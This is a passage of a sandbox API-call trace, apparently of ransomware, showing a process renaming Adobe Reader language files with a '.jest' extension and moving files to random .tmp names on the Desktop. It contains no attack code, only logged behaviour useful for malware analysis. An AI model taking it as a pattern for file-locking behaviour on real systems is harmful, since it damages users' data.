10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.sv_SE.txt") returned 0x6b [0150.603] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x146c828, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.603] GetLastError () returned 0x2 [0150.604] VarBstrFromR4 (in: fltIn=0x47945025, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.29") returned 0x0 [0150.604] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.604] CoFreeUnusedLibraries () [0150.604] GetTickCount () returned 0x11576c6 [0150.604] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.604] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.604] GetTickCount () returned 0x11576c6 [0150.604] IsWindowVisible (hWnd=0x30268) returned 0 [0150.604] Sleep (dwMilliseconds=0x0) [0150.605] GetFullPathNameA (in: lpFileName="WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp", lpFilePart=0x18e708*="WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp") returned 0x8f [0150.605] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", lpFilePart=0x18e708*="DisplayLanguageNames.sv_SE.txt") returned 0x6b [0150.606] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wsbobgfpszrcjtifwegovx-stpu-tw_cbozuaahtw96zp-xkl7os7up7p0jmqr9mwky3chb2-oi0r_fhz6joye18bhfinfi4yvm8d.tmp")) returned 0 [0150.606] GetLastError () returned 0x2 [0150.606] GetLastError () returned 0x2 [0150.606] SetLastError (dwErrCode=0x2) [0150.606] GetLastError () returned 0x2 [0150.606] SetLastError (dwErrCode=0x2) [0150.606] GetLastError () returned 0x2 [0150.606] SetLastError (dwErrCode=0x2) [0150.606] GetFullPathNameA (in: lpFileName="WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp", lpFilePart=0x18e6e4*="WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp") returned 0x8f [0150.606] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WsBOBGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4f427357, cFileName="BGfpSZRCjTIFWegovx-STPu-tW_cBOzUaAHTW96zP-xkl7os7Up7p0JMqr9mwKy3cHB2-Oi0R_fhz6joYE18BhFINfI4YVm8d.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.606] GetLastError () returned 0x2 [0150.606] GetLastError () returned 0x2 [0150.606] SetLastError (dwErrCode=0x2) [0150.607] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.607] CoFreeUnusedLibraries () [0150.607] GetTickCount () returned 0x11576c6 [0150.607] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.607] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.607] GetTickCount () returned 0x11576c6 [0150.607] IsWindowVisible (hWnd=0x30268) returned 0 [0150.607] Sleep (dwMilliseconds=0x0) [0150.608] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt.jest")) returned 1 [0150.611] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.sv.txt") returned 0x68 [0150.611] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x12000012, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x14397f0, ftLastAccessTime.dwLowDateTime=0x144e6a0, ftLastAccessTime.dwHighDateTime=0x14127a8, ftLastWriteTime.dwLowDateTime=0x90, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.611] GetLastError () returned 0x2 [0150.612] VarBstrFromR4 (in: fltIn=0x47945027, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.3") returned 0x0 [0150.612] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.612] CoFreeUnusedLibraries () [0150.612] GetTickCount () returned 0x11576d5 [0150.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.612] GetTickCount () returned 0x11576d5 [0150.612] IsWindowVisible (hWnd=0x30268) returned 0 [0150.612] Sleep (dwMilliseconds=0x0) [0150.613] GetFullPathNameA (in: lpFileName="B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp", lpFilePart=0x18e708*="B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp") returned 0x8d [0150.613] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", lpFilePart=0x18e708*="DisplayLanguageNames.sv.txt") returned 0x68 [0150.614] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b-tg_a3dzik0lht6cwaildwmwwa8oilhuldrmldeqwjwh2kq0dr0usatvisuj1lbs5eg4vhbx9sbmp0z5bihyb9jqfjnbqnb9w0.tmp")) returned 0 [0150.614] GetLastError () returned 0x2 [0150.614] GetLastError () returned 0x2 [0150.614] SetLastError (dwErrCode=0x2) [0150.614] GetLastError () returned 0x2 [0150.614] SetLastError (dwErrCode=0x2) [0150.614] GetLastError () returned 0x2 [0150.614] SetLastError (dwErrCode=0x2) [0150.614] GetFullPathNameA (in: lpFileName="B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp", lpFilePart=0x18e6e4*="B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp") returned 0x8d [0150.614] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B-tG_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47742d42, cFileName="_A3DzIk0lHt6CwAIldwMWWa8oIlhUlDrmlDeqwjwh2kq0dr0uSaTViSUJ1lbs5eG4vHBX9sBMp0Z5biHYB9jQfJNbQnB9W0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.615] GetLastError () returned 0x2 [0150.615] GetLastError () returned 0x2 [0150.615] SetLastError (dwErrCode=0x2) [0150.615] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.615] CoFreeUnusedLibraries () [0150.615] GetTickCount () returned 0x11576d5 [0150.615] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.615] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.615] GetTickCount () returned 0x11576d5 [0150.615] IsWindowVisible (hWnd=0x30268) returned 0 [0150.615] Sleep (dwMilliseconds=0x0) [0150.616] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt.jest")) returned 1 [0150.618] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.sv_FI.txt") returned 0x6b [0150.618] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.618] GetLastError () returned 0x2 [0150.619] VarBstrFromR4 (in: fltIn=0x47945027, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.3") returned 0x0 [0150.619] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.619] CoFreeUnusedLibraries () [0150.619] GetTickCount () returned 0x11576d5 [0150.619] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.619] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.619] GetTickCount () returned 0x11576d5 [0150.619] IsWindowVisible (hWnd=0x30268) returned 0 [0150.619] Sleep (dwMilliseconds=0x0) [0150.620] GetFullPathNameA (in: lpFileName="iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp", lpFilePart=0x18e708*="iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp") returned 0x8e [0150.620] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", lpFilePart=0x18e708*="DisplayLanguageNames.sv_FI.txt") returned 0x6b [0150.620] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iwxi2ibagvic5v6_d6 vy6_jkubf_-rfj2_uen8vacuntqx7u2vfzycgr9z3yfxzuzsjazkzeg9npoqg9dpbqncsr9kpogx306ej.tmp")) returned 0 [0150.621] GetLastError () returned 0x2 [0150.621] GetLastError () returned 0x2 [0150.621] SetLastError (dwErrCode=0x2) [0150.621] GetLastError () returned 0x2 [0150.621] SetLastError (dwErrCode=0x2) [0150.621] GetLastError () returned 0x2 [0150.621] SetLastError (dwErrCode=0x2) [0150.621] GetFullPathNameA (in: lpFileName="iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp", lpFilePart=0x18e6e4*="iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp") returned 0x8e [0150.621] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iwXI2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x49587769, cFileName="2IBAGViC5v6_d6 VY6_jKubf_-RfJ2_uEN8VACunTQX7u2VFZyCGR9Z3yfxzUzsjaZKzeG9nPOqg9DpBQncsR9kPOGX306Ej.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.621] GetLastError () returned 0x2 [0150.621] GetLastError () returned 0x2 [0150.621] SetLastError (dwErrCode=0x2) [0150.622] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.622] CoFreeUnusedLibraries () [0150.622] GetTickCount () returned 0x11576d5 [0150.622] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.622] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.622] GetTickCount () returned 0x11576d5 [0150.622] IsWindowVisible (hWnd=0x30268) returned 0 [0150.622] Sleep (dwMilliseconds=0x0) [0150.623] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt.jest")) returned 1 [0150.624] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.pt_BR.txt") returned 0x6b [0150.624] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.624] GetLastError () returned 0x2 [0150.624] VarBstrFromR4 (in: fltIn=0x47945027, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.3") returned 0x0 [0150.624] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.625] CoFreeUnusedLibraries () [0150.625] GetTickCount () returned 0x11576d5 [0150.625] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.625] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.625] GetTickCount () returned 0x11576d5 [0150.625] IsWindowVisible (hWnd=0x30268) returned 0 [0150.625] Sleep (dwMilliseconds=0x0) [0150.625] GetFullPathNameA (in: lpFileName="Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp", lpFilePart=0x18e708*="Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp") returned 0x8f [0150.626] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt", lpFilePart=0x18e708*="DisplayLanguageNames.pt_BR.txt") returned 0x6b [0150.626] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hx1cqjsposn8dtthbu_im5trmbxh2ljhhpxcodpjqh7lzuezpjrufm1y9szlj4dfppoxmhig8tiosuijz6glnbknjjs6o2vekjxjl.tmp")) returned 0 [0150.626] GetLastError () returned 0x2 [0150.626] GetLastError () returned 0x2 [0150.626] SetLastError (dwErrCode=0x2) [0150.626] GetLastError () returned 0x2 [0150.626] SetLastError (dwErrCode=0x2) [0150.626] GetLastError () returned 0x2 [0150.626] SetLastError (dwErrCode=0x2) [0150.627] GetFullPathNameA (in: lpFileName="Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 